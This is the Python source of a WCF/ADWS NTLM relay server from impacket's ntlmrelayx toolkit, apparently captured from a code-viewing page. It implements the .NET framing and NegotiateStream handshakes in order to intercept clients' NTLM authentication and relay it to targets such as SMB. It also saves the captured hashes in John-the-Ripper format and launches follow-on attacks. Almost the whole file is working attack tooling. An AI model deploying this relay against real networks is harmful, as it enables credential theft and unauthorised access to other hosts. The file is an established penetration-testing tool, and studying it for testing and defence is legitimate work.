Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# -*- coding: utf-8 -*- 

2# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

3# 

4# This software is provided under under a slightly modified version 

5# of the Apache Software License. See the accompanying LICENSE file 

6# for more information. 

7# 

8# WCF Relay Server 

9# 

10# Author: 

11# Clément Notin (@cnotin) 

12# With code copied from smbrelayserver.py and httprelayserver.py authored by: 

13# Alberto Solino (@agsolino) 

14# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

15# 

16# Description: 

17# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols 

18# Only NetTcpBinding is supported! 

19 

20# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and 

21# ".NET NegotiateStream Protocol" [MS-NNS] 

22# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py 

23# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re 

24 

25import socket 

26import socketserver 

27import struct 

28from binascii import hexlify 

29from threading import Thread 

30 

31from six import PY2 

32 

33from impacket import ntlm, LOG 

34from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 

35from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 

36from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS 

37from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 

38from impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \ 

39 ASN1_SUPPORTED_MECH 

40 

41 

42class WCFRelayServer(Thread): 

43 class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 

44 def __init__(self, server_address, request_handler_class, config): 

45 self.config = config 

46 self.daemon_threads = True 

47 if self.config.ipv6: 

48 self.address_family = socket.AF_INET6 

49 self.wpad_counters = {} 

50 socketserver.TCPServer.__init__(self, server_address, request_handler_class) 

51 

52 class WCFHandler(socketserver.BaseRequestHandler): 

53 def __init__(self, request, client_address, server): 

54 self.server = server 

55 self.challengeMessage = None 

56 self.target = None 

57 self.client = None 

58 self.machineAccount = None 

59 self.machineHashes = None 

60 self.domainIp = None 

61 self.authUser = None 

62 

63 if self.server.config.target is None: 

64 # Reflection mode, defaults to SMB at the target, for now 

65 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) 

66 self.target = self.server.config.target.getTarget() 

67 if self.target is None: 

68 LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0]) 

69 return 

70 LOG.info("WCF: Received connection from %s, attacking target %s://%s" % ( 

71 client_address[0], self.target.scheme, self.target.netloc)) 

72 

73 socketserver.BaseRequestHandler.__init__(self, request, client_address, server) 

74 

75 # recv from socket for exact 'length' (even if fragmented over several packets) 

76 def recvall(self, length): 

77 buf = b'' 

78 while not len(buf) == length: 

79 buf += self.request.recv(length - len(buf)) 

80 

81 if PY2: 

82 buf = bytearray(buf) 

83 return buf 

84 

85 def handle(self): 

86 version_code = self.recvall(1) 

87 if version_code != b'\x00': 

88 LOG.error("WCF: wrong VersionRecord code") 

89 return 

90 version = self.recvall(2) # should be \x01\x00 but we don't care 

91 if version != b'\x01\x00': 

92 LOG.error("WCF: wrong VersionRecord version") 

93 return 

94 

95 mode_code = self.recvall(1) 

96 if mode_code != b'\x01': 

97 LOG.error("WCF: wrong ModeRecord code") 

98 return 

99 mode = self.recvall(1) # we don't care 

100 

101 via_code = self.recvall(1) 

102 if via_code != b'\x02': 

103 LOG.error("WCF: wrong ViaRecord code") 

104 return 

105 via_len = self.recvall(1) 

106 via_len = struct.unpack("B", via_len)[0] 

107 via = self.recvall(via_len).decode("utf-8") 

108 

109 if not via.startswith("net.tcp://"): 

110 LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. " 

111 "Only NetTcpBinding is currently supported!") 

112 return 

113 

114 known_encoding_code = self.recvall(1) 

115 if known_encoding_code != b'\x03': 

116 LOG.error("WCF: wrong KnownEncodingRecord code") 

117 return 

118 encoding = self.recvall(1) # we don't care 

119 

120 upgrade_code = self.recvall(1) 

121 if upgrade_code != b'\x09': 

122 LOG.error("WCF: wrong UpgradeRequestRecord code") 

123 return 

124 upgrade_len = self.recvall(1) 

125 upgrade_len = struct.unpack("B", upgrade_len)[0] 

126 upgrade = self.recvall(upgrade_len).decode("utf-8") 

127 

128 if upgrade != "application/negotiate": 

129 LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!") 

130 return 

131 self.request.sendall(b'\x0a') 

132 

133 while True: 

134 handshake_in_progress = self.recvall(5) 

135 if not handshake_in_progress[0] == 0x16: 

136 LOG.error("WCF: Wrong handshake_in_progress message") 

137 return 

138 

139 securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0] 

140 securityBlob = self.recvall(securityBlob_len) 

141 

142 rawNTLM = False 

143 if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: 

144 # SPNEGO NEGOTIATE packet 

145 blob = SPNEGO_NegTokenInit(securityBlob) 

146 token = blob['MechToken'] 

147 if len(blob['MechTypes'][0]) > 0: 

148 # Is this GSSAPI NTLM or something else we don't support? 

149 mechType = blob['MechTypes'][0] 

150 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ 

151 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: 

152 # Nope, do we know it? 

153 if mechType in MechTypes: 

154 mechStr = MechTypes[mechType] 

155 else: 

156 mechStr = hexlify(mechType) 

157 LOG.error("Unsupported MechType '%s'" % mechStr) 

158 # We don't know the token, we answer back again saying 

159 # we just support NTLM. 

160 respToken = SPNEGO_NegTokenResp() 

161 respToken['NegState'] = b'\x03' # request-mic 

162 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

163 respToken = respToken.getData() 

164 

165 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b 

166 answer = b'\x16' # handshake_in_progress 

167 answer += b'\x01\x00' # version 

168 answer += struct.pack(">H", len(respToken)) # len 

169 answer += respToken 

170 

171 self.request.sendall(answer) 

172 

173 elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: 

174 # SPNEGO AUTH packet 

175 blob = SPNEGO_NegTokenResp(securityBlob) 

176 token = blob['ResponseToken'] 

177 break 

178 else: 

179 # No GSSAPI stuff, raw NTLMSSP 

180 rawNTLM = True 

181 token = securityBlob 

182 break 

183 

184 if not token.startswith(b"NTLMSSP\0\1"): # NTLMSSP_NEGOTIATE: message type 1 

185 LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message") 

186 return 

187 

188 if not self.do_ntlm_negotiate(token): 

189 # Connection failed 

190 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', 

191 self.target.scheme, self.target.netloc) 

192 self.server.config.target.logTarget(self.target) 

193 return 

194 

195 # Calculate auth 

196 ntlmssp_challenge = self.challengeMessage.getData() 

197 

198 if not rawNTLM: 

199 # add SPNEGO wrapping 

200 respToken = SPNEGO_NegTokenResp() 

201 # accept-incomplete. We want more data 

202 respToken['NegState'] = b'\x01' 

203 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

204 

205 respToken['ResponseToken'] = ntlmssp_challenge 

206 ntlmssp_challenge = respToken.getData() 

207 

208 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b 

209 handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge)) 

210 self.request.sendall(handshake_in_progress) 

211 self.request.sendall(ntlmssp_challenge) 

212 

213 handshake_done = self.recvall(5) 

214 

215 if handshake_done[0] == 0x15: 

216 error_len = struct.unpack(">H", handshake_done[3:5])[0] 

217 error_msg = self.recvall(error_len) 

218 hresult = hex(struct.unpack('>I', error_msg[4:8])[0]) 

219 LOG.error("WCF: Received handshake_error message: " + hresult) 

220 return 

221 

222 ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0] 

223 ntlmssp_auth = self.recvall(ntlmssp_auth_len) 

224 

225 if not rawNTLM: 

226 # remove SPNEGO wrapping 

227 blob = SPNEGO_NegTokenResp(ntlmssp_auth) 

228 ntlmssp_auth = blob['ResponseToken'] 

229 

230 if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"): # NTLMSSP_AUTH: message type 3 

231 LOG.error("WCF: Wrong NTLMSSP_AUTH message") 

232 return 

233 

234 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

235 authenticateMessage.fromString(ntlmssp_auth) 

236 

237 if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage): 

238 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

239 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

240 self.target.scheme, self.target.netloc, 

241 authenticateMessage['domain_name'].decode('utf-16le'), 

242 authenticateMessage['user_name'].decode('utf-16le'))) 

243 else: 

244 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

245 self.target.scheme, self.target.netloc, 

246 authenticateMessage['domain_name'].decode('ascii'), 

247 authenticateMessage['user_name'].decode('ascii'))) 

248 return 

249 

250 # Relay worked, do whatever we want here... 

251 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

252 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

253 self.target.scheme, self.target.netloc, 

254 authenticateMessage['domain_name'].decode('utf-16le'), 

255 authenticateMessage['user_name'].decode('utf-16le'))) 

256 else: 

257 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

258 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), 

259 authenticateMessage['user_name'].decode('ascii'))) 

260 

261 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], 

262 authenticateMessage['user_name'], 

263 authenticateMessage['domain_name'], 

264 authenticateMessage['lanman'], authenticateMessage['ntlm']) 

265 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

266 

267 if self.server.config.outputFile is not None: 

268 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

269 self.server.config.outputFile) 

270 

271 self.server.config.target.logTarget(self.target, True, self.authUser) 

272 

273 self.do_attack() 

274 

275 def do_ntlm_negotiate(self, token): 

276 if self.target.scheme.upper() in self.server.config.protocolClients: 

277 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, 

278 self.target) 

279 # If connection failed, return 

280 if not self.client.initConnection(): 

281 return False 

282 self.challengeMessage = self.client.sendNegotiate(token) 

283 

284 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE 

285 if self.server.config.remove_target: 

286 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) 

287 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] 

288 self.challengeMessage['TargetInfoFields'] = av_pairs.getData() 

289 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) 

290 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) 

291 

292 # Check for errors 

293 if self.challengeMessage is False: 

294 return False 

295 else: 

296 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) 

297 return False 

298 

299 return True 

300 

301 def do_ntlm_auth(self, token, authenticateMessage): 

302 # For some attacks it is important to know the authenticated username, so we store it 

303 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

304 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

305 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

306 else: 

307 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), 

308 authenticateMessage['user_name'].decode('ascii'))).upper() 

309 

310 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1': 

311 clientResponse, errorCode = self.client.sendAuth(token) 

312 else: 

313 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except 

314 # when coming from localhost 

315 errorCode = STATUS_ACCESS_DENIED 

316 

317 if errorCode == STATUS_SUCCESS: 

318 return True 

319 

320 return False 

321 

322 def do_attack(self): 

323 # Check if SOCKS is enabled and if we support the target scheme 

324 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes: 

325 # Pass all the data to the socksplugins proxy 

326 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(), 

327 self.authUser, self.client, self.client.sessionData)) 

328 return 

329 

330 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 

331 if self.target.scheme.upper() in self.server.config.attacks: 

332 # We have an attack.. go for it 

333 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, 

334 self.client.session, 

335 self.authUser) 

336 clientThread.start() 

337 else: 

338 LOG.error('No attack configured for %s' % self.target.scheme.upper()) 

339 

340 def __init__(self, config): 

341 Thread.__init__(self) 

342 self.daemon = True 

343 self.config = config 

344 self.server = None 

345 

346 def run(self): 

347 LOG.info("Setting up WCF Server") 

348 

349 if self.config.listeningPort: 

350 wcfport = self.config.listeningPort 

351 else: 

352 wcfport = 9389 # ADWS 

353 

354 # changed to read from the interfaceIP set in the configuration 

355 self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config) 

356 

357 try: 

358 self.server.serve_forever() 

359 except KeyboardInterrupt: 

360 pass 

361 LOG.info('Shutting down WCF Server') 

362 self.server.server_close()